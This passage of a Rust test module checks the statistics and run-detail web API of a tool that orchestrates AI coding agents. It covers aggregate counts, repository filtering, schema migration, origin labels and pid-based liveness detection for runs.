20413        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
20414
20415        let stats = f.get("/api/stats").await;
20416        let health = f.get("/api/health").await;
20417
20418        assert_eq!(stats.status, 200);
20419        assert_eq!(stats.json()["totals"]["runs"], 1);
20420        assert_eq!(stats.json()["runs_unreadable"], 1);
20421        assert_eq!(
20422            stats.json()["runs_unreadable"],
20423            health.json()["runs_unreadable"],
20424            "the dashboard and /api/health must never disagree about how many \
20425             runs could not be read"
20426        );
20427    }
20428
20429    #[tokio::test]
20430    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
20431        let f = Fixture::start().await;
20432        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
20433        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
20434        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
20435
20436        let totals = &f.get("/api/stats").await.json()["totals"];
20437        assert_eq!(totals["runs"], 3);
20438        assert_eq!(totals["merged"], 1);
20439        assert_eq!(totals["stalled"], 1);
20440        assert_eq!(totals["in_progress"], 1);
20441        // A stalled run must never read as blocked/merged/ready - it is its
20442        // own bucket, not folded into a "decided" one.
20443        assert_eq!(totals["blocked"], 0);
20444        assert_eq!(totals["ready"], 0);
20445    }
20446
20447    #[tokio::test]
20448    async fn stats_advisors_report_proposals_and_reflection() {
20449        use crate::advise::{Advice, AdvisorRecord, Reflection};
20450        use crate::verdict::Proposal;
20451
20452        let f = Fixture::start().await;
20453        let mut state = RunState::new(
20454            PathBuf::from("/repo/magi"),
20455            "main".to_owned(),
20456            "0123456789abcdef".to_owned(),
20457            "task".to_owned(),
20458            Config::default(),
20459        );
20460        state.id = "20260902-140501-a".to_owned();
20461        state.status = RunStatus::Merged;
20462        state.advice = Some(Advice {
20463            records: vec![
20464                AdvisorRecord {
20465                    seat: "advisor-1".to_owned(),
20466                    agent: "alpha".to_owned(),
20467                    proposal: Some(Proposal {
20468                        approach: "do it".to_owned(),
20469                        key_tradeoff: "speed over memory".to_owned(),
20470                        risks: Vec::new(),
20471                        touches: Vec::new(),
20472                        why_not_naive: "breaks under load".to_owned(),
20473                    }),
20474                    error: None,
20475                    duration_ms: 0,
20476                    reflection: Reflection::Strong,
20477                },
20478                AdvisorRecord {
20479                    seat: "advisor-2".to_owned(),
20480                    agent: "alpha".to_owned(),
20481                    proposal: None,
20482                    error: Some("timed out".to_owned()),
20483                    duration_ms: 0,
20484                    reflection: Reflection::Absent,
20485                },
20486            ],
20487            synthesis: Some("blended brief".to_owned()),
20488        });
20489        let dir = f.runs().join(&state.id);
20490        std::fs::create_dir_all(&dir).expect("run dir");
20491        std::fs::write(
20492            dir.join("run.json"),
20493            serde_json::to_string_pretty(&state).expect("serialize run"),
20494        )
20495        .expect("write run.json");
20496
20497        // `alpha` is in no roster here; this test is about the rates.
20498        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
20499        let alpha = advisors
20500            .as_array()
20501            .expect("an array")
20502            .iter()
20503            .find(|a| a["agent"] == "alpha")
20504            .expect("alpha row");
20505        assert_eq!(alpha["seated"], 2);
20506        assert_eq!(alpha["proposed"], 1);
20507        assert_eq!(alpha["absent"], 1);
20508        assert_eq!(alpha["strong"], 1);
20509        assert_eq!(alpha["faint"], 0);
20510        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
20511    }
20512
20513    #[tokio::test]
20514    async fn stats_hides_agents_outside_the_roster_unless_all() {
20515        use crate::run::Candidate;
20516        let repo = TempDir::new().expect("repo dir");
20517        std::fs::write(
20518            repo.path().join("magi.toml"),
20519            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
20520        )
20521        .expect("magi.toml");
20522        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
20523        let mut state = RunState::new(
20524            PathBuf::from("/repo/magi"),
20525            "main".to_owned(),
20526            "0123456789abcdef".to_owned(),
20527            "task".to_owned(),
20528            Config::default(),
20529        );
20530        state.id = "20260902-140501-a".to_owned();
20531        state.status = RunStatus::Merged;
20532        for (label, agent) in [('A', "keep"), ('B', "retired")] {
20533            let mut c: Candidate = serde_json::from_value(serde_json::json!({
20534                "index": 0, "label": label.to_string(), "agent": agent,
20535                "branch": "b", "worktree": "/w",
20536            }))
20537            .expect("candidate");
20538            c.label = label;
20539            state.candidates.push(c);
20540        }
20541        let dir = f.runs().join(&state.id);
20542        std::fs::create_dir_all(&dir).expect("run dir");
20543        std::fs::write(
20544            dir.join("run.json"),
20545            serde_json::to_string_pretty(&state).expect("serialize run"),
20546        )
20547        .expect("write run.json");
20548
20549        let agents_of = |v: &serde_json::Value| -> Vec<String> {
20550            v["agents"]
20551                .as_array()
20552                .expect("array")
20553                .iter()
20554                .map(|a| a["agent"].as_str().unwrap().to_owned())
20555                .collect()
20556        };
20557        let hidden = f.get("/api/stats").await.json();
20558        assert_eq!(agents_of(&hidden), ["keep"]);
20559        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
20560        assert_eq!(hidden["totals"]["runs"], 1);
20561
20562        let all = f.get("/api/stats?all=true").await.json();
20563        assert_eq!(agents_of(&all).len(), 2);
20564        assert_eq!(all["retired_hidden"], serde_json::json!([]));
20565        // Verify competitive and solo keys exist on agent entries
20566        let keep_agent = all["agents"]
20567            .as_array()
20568            .unwrap()
20569            .iter()
20570            .find(|a| a["agent"] == "keep")
20571            .unwrap();
20572        assert_eq!(keep_agent["competitive_entered"], 1);
20573        assert_eq!(keep_agent["competitive_wins"], 0);
20574        assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
20575        assert_eq!(keep_agent["solo_entered"], 0);
20576        assert_eq!(keep_agent["solo_adopted"], 0);
20577        assert!(keep_agent["solo_adoption_rate"].is_null());
20578    }
20579
20580    #[tokio::test]
20581    async fn stats_release_bumps_split_clean_from_attention() {
20582        use crate::run::ReleaseBump;
20583
20584        let f = Fixture::start().await;
20585
20586        let mut clean = RunState::new(
20587            PathBuf::from("/repo/magi"),
20588            "main".to_owned(),
20589            "0123456789abcdef".to_owned(),
20590            "task".to_owned(),
20591            Config::default(),
20592        );
20593        clean.id = "20260902-140501-a".to_owned();
20594        clean.status = RunStatus::Merged;
20595        clean.release_bump = Some(ReleaseBump {
20596            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
20597            version: Some("1.0.0".to_owned()),
20598            automerge_enabled: true,
20599            merged_directly: false,
20600            local: false,
20601            release: None,
20602            problem: None,
20603            action_required: None,
20604            skipped: None,
20605        });
20606
20607        let mut blocked = RunState::new(
20608            PathBuf::from("/repo/magi"),
20609            "main".to_owned(),
20610            "0123456789abcdef".to_owned(),
20611            "task".to_owned(),
20612            Config::default(),
20613        );
20614        blocked.id = "20260902-140502-b".to_owned();
20615        blocked.status = RunStatus::Merged;
20616        blocked.release_bump = Some(ReleaseBump {
20617            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
20618            version: Some("1.0.1".to_owned()),
20619            automerge_enabled: false,
20620            merged_directly: false,
20621            local: false,
20622            release: None,
20623            problem: Some("checks red".to_owned()),
20624            action_required: Some("look at the PR".to_owned()),
20625            skipped: None,
20626        });
20627
20628        for state in [&clean, &blocked] {
20629            let dir = f.runs().join(&state.id);
20630            std::fs::create_dir_all(&dir).expect("run dir");
20631            std::fs::write(
20632                dir.join("run.json"),
20633                serde_json::to_string_pretty(state).expect("serialize run"),
20634            )
20635            .expect("write run.json");
20636        }
20637
20638        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
20639        assert_eq!(bumps["merged"], 2);
20640        assert_eq!(bumps["recorded"], 2);
20641        assert_eq!(bumps["pr_opened"], 2);
20642        assert_eq!(bumps["automerge_enabled"], 1);
20643        assert_eq!(bumps["needs_attention"], 1);
20644        assert_eq!(bumps["clean"], 1);
20645        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
20646        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
20647    }
20648
20649    #[tokio::test]
20650    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
20651        let f = Fixture::start().await;
20652        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
20653
20654        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
20655        assert_eq!(bumps["merged"], 1);
20656        assert_eq!(bumps["recorded"], 0);
20657        // `merged` is nonzero, so coverage still reads as a real 0%, not an
20658        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
20659        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
20660        // `pr_opened` and `recorded` are both zero here, so these rates have
20661        // no denominator to compute from and must be null.
20662        assert_eq!(bumps["automerge_rate"], Value::Null);
20663        assert_eq!(bumps["attention_rate"], Value::Null);
20664    }
20665
20666    #[tokio::test]
20667    async fn stats_queue_counts_come_from_the_live_queue() {
20668        let f = Fixture::start().await;
20669        let q = f.queue();
20670        let mut queued = Task::new(
20671            "queued task".to_owned(),
20672            "do it".to_owned(),
20673            PathBuf::from("/repo"),
20674            Source::Human,
20675        );
20676        q.put(&mut queued).expect("put queued");
20677        let mut held = Task::new(
20678            "held task".to_owned(),
20679            "do it later".to_owned(),
20680            PathBuf::from("/repo"),
20681            Source::Human,
20682        );
20683        held.hold_machine(Some("out of attempts".to_owned()));
20684        q.put(&mut held).expect("put held");
20685
20686        let queue = f.get("/api/stats").await.json()["queue"].clone();
20687        assert_eq!(queue["queued"], 1);
20688        assert_eq!(queue["held"], 1);
20689        assert_eq!(queue["running"], 0);
20690        assert_eq!(queue["done"], 0);
20691        assert_eq!(queue["failed"], 0);
20692        assert_eq!(queue["blocked"], 0);
20693    }
20694
20695    #[tokio::test]
20696    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
20697        let f = Fixture::start().await;
20698        let stats = f.get("/api/stats").await;
20699        assert_eq!(stats.status, 200);
20700        assert_eq!(stats.json()["totals"]["runs"], 0);
20701        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
20702        assert_eq!(stats.json()["runs_unreadable"], 0);
20703        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
20704        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
20705        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
20706        assert_eq!(stats.json()["repo"], Value::Null);
20707    }
20708
20709    #[tokio::test]
20710    async fn stats_lists_every_repository_with_runs_recorded() {
20711        let f = Fixture::start().await;
20712        write_run_repo(
20713            &f.runs(),
20714            "20260902-140501-a",
20715            RunStatus::Merged,
20716            "/repos/a",
20717        );
20718        write_run_repo(
20719            &f.runs(),
20720            "20260902-140502-b",
20721            RunStatus::Merged,
20722            "/repos/a",
20723        );
20724        write_run_repo(
20725            &f.runs(),
20726            "20260902-140503-c",
20727            RunStatus::Blocked,
20728            "/repos/b",
20729        );
20730
20731        let stats = f.get("/api/stats").await;
20732        assert_eq!(stats.status, 200);
20733        // Unfiltered - the aggregate across both repositories.
20734        assert_eq!(stats.json()["totals"]["runs"], 3);
20735        assert_eq!(stats.json()["repo"], Value::Null);
20736
20737        let repos = stats.json()["repos"].clone();
20738        let repos = repos.as_array().unwrap();
20739        assert_eq!(repos.len(), 2);
20740        // Busiest (2 runs) first.
20741        assert_eq!(repos[0]["repo"], "/repos/a");
20742        assert_eq!(repos[0]["name"], "a");
20743        assert_eq!(repos[0]["runs"], 2);
20744        assert_eq!(repos[1]["repo"], "/repos/b");
20745        assert_eq!(repos[1]["runs"], 1);
20746    }
20747
20748    #[tokio::test]
20749    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
20750        let f = Fixture::start().await;
20751        write_run_repo(
20752            &f.runs(),
20753            "20260902-140501-a",
20754            RunStatus::Merged,
20755            "/repos/a",
20756        );
20757        write_run_repo(
20758            &f.runs(),
20759            "20260902-140502-b",
20760            RunStatus::Blocked,
20761            "/repos/b",
20762        );
20763
20764        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
20765        assert_eq!(stats.status, 200);
20766        assert_eq!(stats.json()["totals"]["runs"], 1);
20767        assert_eq!(stats.json()["totals"]["merged"], 1);
20768        assert_eq!(stats.json()["repo"], "/repos/a");
20769        // The repository list itself is unaffected by the filter - it is
20770        // what a client switches repositories from.
20771        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
20772        // runs_unreadable is a whole-workload count, never scoped to the
20773        // selected repository - see StatsView::runs_unreadable's own doc.
20774        assert_eq!(stats.json()["runs_unreadable"], 0);
20775    }
20776
20777    #[tokio::test]
20778    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
20779        let f = Fixture::start().await;
20780        write_run_repo(
20781            &f.runs(),
20782            "20260902-140501-a",
20783            RunStatus::Merged,
20784            "/repos/a",
20785        );
20786        write_run_repo(
20787            &f.runs(),
20788            "20260902-140502-b",
20789            RunStatus::Merged,
20790            "/repos/b",
20791        );
20792
20793        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
20794            let json = f.get(uri).await.json();
20795            let daily = json["daily"].as_array().expect("daily is an array");
20796            assert_eq!(daily.len(), 30);
20797            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
20798            let mut sorted = dates.clone();
20799            sorted.sort();
20800            assert_eq!(dates, sorted);
20801            for d in daily {
20802                assert_eq!(
20803                    d["merged"].as_u64().unwrap()
20804                        + d["ready"].as_u64().unwrap()
20805                        + d["other"].as_u64().unwrap(),
20806                    d["runs"].as_u64().unwrap()
20807                );
20808            }
20809            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
20810        }
20811    }
20812
20813    #[tokio::test]
20814    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
20815        let f = Fixture::start().await;
20816        write_run_repo(
20817            &f.runs(),
20818            "20260902-140501-a",
20819            RunStatus::Merged,
20820            "/repos/a",
20821        );
20822
20823        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
20824        assert_eq!(stats.status, 404);
20825    }
20826
20827    #[tokio::test]
20828    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
20829        let f = Fixture::start().await;
20830        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
20831
20832        let summary = f.get("/api/runs").await.json();
20833        let row = &summary[0];
20834        assert_eq!(row["short"], "a1b2");
20835        assert_eq!(row["status"], "ready");
20836        assert_eq!(row["done"], true);
20837        assert_eq!(row["title"], "Add a web UI");
20838        assert_eq!(row["repo_name"], "magi");
20839        assert_eq!(row["judges"], 3);
20840        assert_eq!(row["winner"], Value::Null);
20841        assert_eq!(row["reviews"], 0);
20842
20843        // The short id resolves, and the detail route is the state itself, not
20844        // a projection of it: the UI reads fields the summary does not carry.
20845        let detail = f.get("/api/runs/a1b2").await;
20846        assert_eq!(detail.status, 200);
20847        assert_eq!(detail.json()["base_branch"], "main");
20848        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
20849    }
20850
20851    /// `status: "ready"` alone cannot tell a run still headed for a landing
20852    /// (a PR closed without merging, say) apart from one `[merge] mode =
20853    /// "none"` left unmerged for good — the confusion the operator flagged
20854    /// after the CLI report already grew a `not landed — nothing to do by
20855    /// design` line for exactly this case (`report.rs`). Both the list route
20856    /// and the detail route must carry a flag the phone can key on instead of
20857    /// re-deriving it from `status` + `merge.mode` itself.
20858    #[tokio::test]
20859    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
20860        let f = Fixture::start().await;
20861
20862        let mut none_run = RunState::new(
20863            PathBuf::from("/repo/magi"),
20864            "main".to_owned(),
20865            "0123456789abcdef".to_owned(),
20866            "Add a web UI".to_owned(),
20867            Config::default(),
20868        );
20869        none_run.id = "20260902-140503-none".to_owned();
20870        none_run.status = RunStatus::Ready;
20871        none_run.merge = Some(crate::run::MergeOutcome {
20872            mode: crate::config::MergeMode::None,
20873            ok: true,
20874            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
20875            empty: false,
20876        });
20877        write_state(&f.runs(), &none_run);
20878
20879        let mut pr_run = RunState::new(
20880            PathBuf::from("/repo/magi"),
20881            "main".to_owned(),
20882            "0123456789abcdef".to_owned(),
20883            "Add a web UI".to_owned(),
20884            Config::default(),
20885        );
20886        pr_run.id = "20260902-140504-prcl".to_owned();
20887        pr_run.status = RunStatus::Ready;
20888        pr_run.merge = Some(crate::run::MergeOutcome {
20889            mode: crate::config::MergeMode::Pr,
20890            ok: false,
20891            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
20892            empty: false,
20893        });
20894        write_state(&f.runs(), &pr_run);
20895
20896        let summary = f.get("/api/runs").await.json();
20897        let rows: std::collections::HashMap<&str, &Value> = summary
20898            .as_array()
20899            .expect("an array")
20900            .iter()
20901            .map(|r| (r["id"].as_str().expect("an id"), r))
20902            .collect();
20903        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
20904        assert_eq!(
20905            rows[none_run.id.as_str()]["unmerged_by_design"],
20906            true,
20907            "a mode-none Ready must be flagged in the list"
20908        );
20909        assert_eq!(
20910            rows[pr_run.id.as_str()]["unmerged_by_design"],
20911            false,
20912            "a Ready reached by a closed pull request is a different case"
20913        );
20914
20915        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
20916        assert_eq!(none_detail["status"], "ready");
20917        assert_eq!(none_detail["unmerged_by_design"], true);
20918
20919        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
20920        assert_eq!(pr_detail["unmerged_by_design"], false);
20921    }
20922
20923    /// `RunState::active` is only ever cleared by whoever populated it, so the
20924    /// detail route also has to say whether a daemon is actually still
20925    /// driving this run right now — otherwise a seat from a killed process's
20926    /// last wave would read as live forever.
20927    #[tokio::test]
20928    async fn run_core_survives_unavailable_related_stores() {
20929        let home = TempDir::new().unwrap();
20930        let ui = delta_test_ui(home.path());
20931        let state = RunState::new(
20932            PathBuf::from("/repo/magi"),
20933            "main".into(),
20934            "0123456789abcdef".into(),
20935            "Useful core instructions".into(),
20936            Config::default(),
20937        );
20938        let dir = ui.runs.join(&state.id);
20939        std::fs::create_dir_all(&dir).unwrap();
20940        std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
20941        std::fs::write(ui.questions.root(), "unavailable").unwrap();
20942        std::fs::write(ui.queue.root(), "unavailable").unwrap();
20943        let core = run_core(State(ui.clone()), Path(state.id.clone()))
20944            .await
20945            .unwrap()
20946            .0;
20947        assert_eq!(core.state.instruction, state.instruction);
20948        assert_eq!(core.state.updated_at, state.updated_at);
20949        assert!(core.task.is_none());
20950        assert!(run_detail(State(ui), Path(state.id)).await.is_err());
20951    }
20952
20953    #[tokio::test]
20954    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
20955        let f = Fixture::start().await;
20956        // Matches `write_daemon`'s hard-coded `current.run`, so the second
20957        // half of this test can claim the daemon is working on it without a
20958        // second helper.
20959        let id = "20260902-140502-bbbb";
20960        let mut state = RunState::new(
20961            PathBuf::from("/repo/magi"),
20962            "main".to_owned(),
20963            "0123456789abcdef".to_owned(),
20964            "Add a web UI".to_owned(),
20965            Config::default(),
20966        );
20967        state.id = id.to_owned();
20968        state.status = RunStatus::Judging;
20969        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
20970        let dir = f.runs().join(id);
20971        std::fs::create_dir_all(&dir).expect("run dir");
20972        std::fs::write(
20973            dir.join("run.json"),
20974            serde_json::to_string_pretty(&state).expect("serialize run"),
20975        )
20976        .expect("write run.json");
20977
20978        // No daemon.json at all, and no `driver_pid` recorded either (this
20979        // state was written directly, never through `execute()`): there is
20980        // nothing to confirm either way, so the route must say `"unknown"` —
20981        // never `"dead"`, which is exactly the false diagnosis a manual `magi
20982        // run` used to get from this route before `driver_pid` existed.
20983        let cold = f.get(&format!("/api/runs/{id}")).await.json();
20984        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
20985        assert_eq!(cold["live"], "unknown", "{cold}");
20986
20987        // A fresh heartbeat naming exactly this run: the same entry now reads
20988        // as confirmed, not merely recorded.
20989        write_daemon(f.home.path(), Timestamp::now());
20990        let warm = f.get(&format!("/api/runs/{id}")).await.json();
20991        assert_eq!(warm["live"], "live", "{warm}");
20992    }
20993
20994    #[test]
20995    fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
20996        let home = tempfile::tempdir().expect("temp home");
20997        let runs = home.path().join("runs");
20998        for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
20999            let mut state = RunState::new(
21000                PathBuf::from("/repo/magi"),
21001                "main".to_owned(),
21002                "0123456789abcdef".to_owned(),
21003                "Generated review context, not authored task criteria".to_owned(),
21004                Config::default(),
21005            );
21006            state.origin = origin;
21007            state.status = RunStatus::Blocked;
21008            // Earlier migrations must not infer these facts again.
21009            state.driver_exited = false;
21010            state.gate_ran = true;
21011            let expected = serde_json::to_value(&state).expect("serialize current state");
21012            let mut legacy = expected.clone();
21013            legacy["schema"] = serde_json::json!(13);
21014            legacy.as_object_mut().unwrap().remove("task_instruction");
21015            let dir = runs.join(&state.id);
21016            std::fs::create_dir_all(&dir).expect("run dir");
21017            let path = dir.join("run.json");
21018            let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
21019            std::fs::write(&path, &body).expect("write legacy run");
21020
21021            for loaded in [
21022                RunState::load_under(&state.id, home.path()).expect("CLI migration"),
21023                read_run(&runs, &state.id).expect("web migration"),
21024            ] {
21025                assert_eq!(loaded.schema, crate::run::SCHEMA);
21026                assert!(loaded.task_instruction.is_none());
21027                assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
21028            }
21029            assert_eq!(runs_unreadable(&runs), 0);
21030            assert_eq!(std::fs::read(&path).unwrap(), body);
21031        }
21032    }
21033
21034    /// Where a run came from is shown, and a run written before origins were
21035    /// recorded (schema 12, no `origin` key) stays readable and says so.
21036    #[tokio::test]
21037    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
21038        let f = Fixture::start().await;
21039        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
21040            let mut state = RunState::new(
21041                PathBuf::from("/repo/magi"),
21042                "main".to_owned(),
21043                "0123456789abcdef".to_owned(),
21044                "Add a web UI".to_owned(),
21045                Config::default(),
21046            );
21047            state.id = id.to_owned();
21048            state.origin = origin;
21049            let mut value = serde_json::to_value(&state).expect("serialize run");
21050            if let Some(schema) = schema {
21051                value["schema"] = serde_json::json!(schema);
21052                value.as_object_mut().unwrap().remove("origin");
21053            }
21054            let dir = f.runs().join(id);
21055            std::fs::create_dir_all(&dir).expect("run dir");
21056            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
21057        };
21058        write(
21059            "20260930-092817-ec34",
21060            Some(crate::run::Origin::from_agent_env(
21061                Some(("4a7b".to_owned(), "chat".to_owned())),
21062                None,
21063            )),
21064            None,
21065        );
21066        write("20260930-092817-0ld1", None, Some(12));
21067
21068        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
21069        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
21070        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
21071
21072        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
21073        assert_eq!(
21074            old["origin_label"], "origin unknown (started before origins were recorded)",
21075            "{old}"
21076        );
21077        assert!(old["origin"].is_null(), "{old}");
21078
21079        let list = f.get("/api/runs").await.json();
21080        let labels: Vec<_> = list
21081            .as_array()
21082            .unwrap()
21083            .iter()
21084            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
21085            .collect();
21086        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
21087    }
21088
21089    #[tokio::test]
21090    async fn run_progress_observation_exposes_activity_without_control_evidence() {
21091        let f = Fixture::start().await;
21092        let mut state = RunState::new(
21093            PathBuf::from("/repo"),
21094            "main".into(),
21095            "abc".into(),
21096            "task".into(),
21097            Config::default(),
21098        );
21099        state.status = RunStatus::Implementing;
21100        state.seat_started(
21101            "implement",
21102            "implement-A",
21103            std::time::Duration::from_secs(60),
21104            0,
21105        );
21106        state.save_under(f.home.path()).unwrap();
21107        let observed = f
21108            .get(&format!("/api/runs/{}/progress", state.id))
21109            .await
21110            .json();
21111        assert_eq!(observed["id"], state.id);
21112        assert!(observed["observed_at"].is_string());
21113        assert_eq!(observed["updated_at"], state.updated_at.to_string());
21114        assert!(observed["progress"]["activity"].is_string());
21115        for field in [
21116            "config",
21117            "candidates",
21118            "land_approval",
21119            "task",
21120            "waiting",
21121            "done",
21122        ] {
21123            assert!(
21124                observed.get(field).is_none(),
21125                "progress must not expose control evidence: {field}"
21126            );
21127        }
21128    }
21129
21130    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
21131    /// review` claims no daemon at all, so before this field existed the
21132    /// route above read it as `"dead"` — indistinguishable from a run a
21133    /// killed process abandoned — the whole time it was genuinely still
21134    /// answering. With a live pid recorded, it must read `"live"` even
21135    /// though no daemon claims it.
21136    #[tokio::test]
21137    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
21138        let f = Fixture::start().await;
21139        let id = "20260922-090000-cccc";
21140        let mut state = RunState::new(
21141            PathBuf::from("/repo/magi"),
21142            "main".to_owned(),
21143            "0123456789abcdef".to_owned(),
21144            "Review only".to_owned(),
21145            Config::default(),
21146        );
21147        state.id = id.to_owned();
21148        state.status = RunStatus::Reviewing;
21149        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
21150        // This test process's own pid: guaranteed alive, and never needs a
21151        // real daemon or a second process to prove it. The matching start-time
21152        // marker is what `liveness` now requires alongside a live pid — see
21153        // `RunState::driver_started_at`'s own doc for why the pid alone is
21154        // not enough.
21155        state.driver_pid = Some(std::process::id());
21156        state.driver_started_at = Some(
21157            crate::proc::process_started_at(std::process::id())
21158                .expect("this test process's own start time must be queryable"),
21159        );
21160        let dir = f.runs().join(id);
21161        std::fs::create_dir_all(&dir).expect("run dir");
21162        std::fs::write(
21163            dir.join("run.json"),
21164            serde_json::to_string_pretty(&state).expect("serialize run"),
21165        )
21166        .expect("write run.json");
21167
21168        let detail = f.get(&format!("/api/runs/{id}")).await.json();
21169        assert_eq!(detail["live"], "live", "{detail}");
21170    }
21171
21172    /// A killed manual run's pid can be handed to a wholly unrelated later
21173    /// process — a live query on `driver_pid` alone would read this as
21174    /// `"live"`, exactly the false positive `driver_started_at` exists to
21175    /// catch (see that field's own doc, and `RunState::liveness_with`'s
21176    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
21177    #[tokio::test]
21178    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
21179        let f = Fixture::start().await;
21180        let id = "20260922-090100-dddd";
21181        let mut state = RunState::new(
21182            PathBuf::from("/repo/magi"),
21183            "main".to_owned(),
21184            "0123456789abcdef".to_owned(),
21185            "Review only".to_owned(),
21186            Config::default(),
21187        );
21188        state.id = id.to_owned();
21189        state.status = RunStatus::Reviewing;
21190        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
21191        // This test process's own pid really is alive, but the marker
21192        // recorded here does not match what it actually started at —
21193        // standing in for the pid having since been reused by a different
21194        // process than the one that wrote `run.json`.
21195        state.driver_pid = Some(std::process::id());
21196        state.driver_started_at = Some("1".to_owned());
21197        let dir = f.runs().join(id);
21198        std::fs::create_dir_all(&dir).expect("run dir");
21199        std::fs::write(
21200            dir.join("run.json"),
21201            serde_json::to_string_pretty(&state).expect("serialize run"),
21202        )
21203        .expect("write run.json");
21204
21205        let detail = f.get(&format!("/api/runs/{id}")).await.json();
21206        assert_eq!(detail["live"], "dead", "{detail}");
21207    }
21208
21209    /// The deck's competition list is normally the first place an operator
21210    /// sees an old run. It must carry the same process verdict as detail, or
21211    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
21212    #[test]
21213    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
21214        let mk = |id: &str, pid: Option<u32>| {
21215            let mut s = RunState::new(
21216                PathBuf::from("/repo/magi"),
21217                "main".to_owned(),
21218                "0123456789abcdef".to_owned(),
21219                "Add a web UI".to_owned(),
21220                Config::default(),
21221            );
21222            s.id = id.to_owned();
21223            s.driver_pid = pid;
21224            s.driver_started_at = Some("1790000000".to_owned());
21225            s
21226        };
21227        let states = vec![
21228            mk("20260902-140502-aaaa", Some(77)),
21229            mk("20260902-140502-bbbb", Some(77)),
21230            mk("20260902-140502-cccc", Some(77)),
21231            mk("20260902-140502-dddd", None),
21232        ];
21233        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
21234        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
21235        let sup: HashMap<String, String> = [(
21236            "20260902-140502-aaaa".to_owned(),
21237            "20260902-140502-cccc".to_owned(),
21238        )]
21239        .into();
21240
21241        let status_calls = std::cell::Cell::new(0);
21242        let identity_calls = std::cell::Cell::new(0);
21243        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
21244            |_| {
21245                status_calls.set(status_calls.get() + 1);
21246                Some(true)
21247            },
21248            |_| {
21249                identity_calls.set(identity_calls.get() + 1);
21250                Some("1790000000".to_owned())
21251            },
21252        ));
21253        let rows = summarize(
21254            states,
21255            &open,
21256            &claimed,
21257            &sup,
21258            |p| probe.borrow_mut().status(p),
21259            |p| probe.borrow_mut().started_at(p),
21260        );
21261
21262        assert_eq!(status_calls.get(), 1, "one pid, one status query");
21263        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
21264        assert_eq!(rows.len(), 4);
21265        assert!(!rows[0].waiting && rows[1].waiting);
21266        assert_eq!(rows[0].live, crate::run::Liveness::Live);
21267        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
21268        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
